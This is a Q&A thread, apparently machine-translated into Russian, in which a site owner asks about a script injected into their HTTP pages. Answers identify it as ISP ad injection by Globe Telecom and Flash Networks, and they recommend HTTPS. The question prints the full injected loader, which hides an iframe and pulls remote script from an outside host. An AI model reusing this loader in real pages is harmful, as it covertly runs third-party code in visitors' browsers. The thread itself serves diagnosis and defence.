Это внедренный код JavaScript и как предотвратить его появление после загрузки?

372
JAT86

У меня статичный сайт. Я обновляю веб-страницы на своем компьютере и загружаю их с помощью FileZilla. Тем не менее, после загрузки я просматриваю исходный код любой из моих страниц и вижу скрипт, который вставляется внутрь <head>. Скрипт не меняет макет или видимое содержимое страницы, поэтому я не знаю, что он вообще делает:

<script> if (top == window) { var engageNameSpace = "engagens"; "undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() { function e(e) { return "undefined" != typeof e && null !== e }  function t() { var t = document.createElement("script"); t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t) }  function n() { var t = r(); if (e(t)) { var n = t; i() && (n = d(t)); var o; try { o = document.documentElement, o.appendChild(n) } catch (c) { o = document.body, o.appendChild(n) } a() } }  function a() { function e(e) { var n = e.data; "l8IframeIsReady" === n.message && t() } window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e) }  function r() { var t = document.createElement("iframe"); if (e(t)) { t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0"); var n = /firefox/i.exec(navigator.userAgent); e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no" } return t }  function i() { var t = !1, n = /android (\d+)/i.exec(navigator.userAgent); return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t }  function d(e) { var t = document.createElement("div"); return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() { return !0 }, t.appendChild(e), t }  function o() { var t = void 0, a = this, r = function() { e(t) && (window.clearTimeout(t), t = void 0, n.call(a)) }; t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r) } var c = "http://globe.moreforme.net", u = c + "/l8/EngageService?v=1", s = c + "/scripts/Engage.js"; o() }; var engageLoader = new window[engageNameSpace].engageLoader } </script> 

После проверки URL-адреса в сценарии http://globe.moreforme.net, я понимаю, что сценарий, скорее всего, от нашего провайдера (глобус). Поскольку я новичок в интернет-безопасности, я не знаю, как сценарий попал туда в первую очередь. Мой сайт статический HTML. Как я могу предотвратить появление этого скрипта в исходном коде после загрузки страницы?

РЕДАКТИРОВАТЬ :

Нашел эту ссылку, которая выглядит как код шаблона для создания скрипта. Кто-нибудь знает, что делает скрипт?

1

2 ответа на вопрос

3
CaffeineAddiction

Во-первых, это работает только потому, что вы используете HTTP вместо HTTPS

Ваш провайдер внедряет этот скрипт, а затем использует его для динамической загрузки другого скрипта (в iframe?).

По какой-то причине я не могу перейти на globe.moreforme.net, на котором размещены скрипты ... он перенаправляет меня на globe.moreforme.ph, так что globe.moreforme.net, скорее всего, доступен только людям, использующим интернет-провайдера.

Теперь, если бы мне пришлось делать какие-то предположения ... Я бы сказал, что провайдер использует этот динамически загружаемый скрипт для перехвата рекламы на посещаемых вами страницах, чтобы требовать ревю для себя.

Вы должны быть в состоянии предотвратить это, либо используя только HTTPS-сайты, либо используя безопасный прокси-сервер SOCKS5 (который глупо просто настроить на VPS за чертовски дешево), изучив Dynamic Port ForwardingSSH. В качестве альтернативы вы можете посмотреть ShadowSocks, если вы находитесь в стране, где есть брандмауэр по всей стране (Китай).

Действительно, наш сайт, имеющий тысячи страниц, имеет чрезвычайно низкий доход (иногда, по данным Analytics, доход составляет менее $ 0,01 в день) даже за несколько сотен просмотров страниц. На большинстве страниц сайта сами объявления даже не отображаются. После попытки просмотра страниц с помощью прокси-сервера показываются объявления, а исходный код не содержит сценария. Большое спасибо за информацию, мы собираемся перейти на HTTPS. JAT86 5 лет назад 1
`globe.moreforme.net` мог быть специально создан компанией Globe, чтобы уберечь себя от ответственности. JAT86 5 лет назад 0
Ты прав. moreforme.net принадлежит Flash Networks, которая делает именно то, что вы описали: добавляет рекламу Globe Telecom на веб-страницу. Sergey Kandaurov 5 лет назад 0
0
Sergey Kandaurov

Это результат партнерства Globe Telecom со злыми Flash Networks для изменения страниц, загружаемых их клиентами, путем добавления их рекламы и, возможно, взлома рекламы других людей.

Законность этого сомнительна - они должны нарушать хотя бы законы об авторских правах. Но, учитывая юрисдикцию Филиппин, я не думаю, что вы можете что-то сделать на законных основаниях.

Это также причина, по которой все сайты должны использовать HTTPS и отключенный HTTP (кроме перенаправления на HTTPS). Сегодня есть несколько способов получить SSL-сертификат для вашего DNS-имени бесплатно, и это также улучшает ваш счет в Google.

Похожие вопросы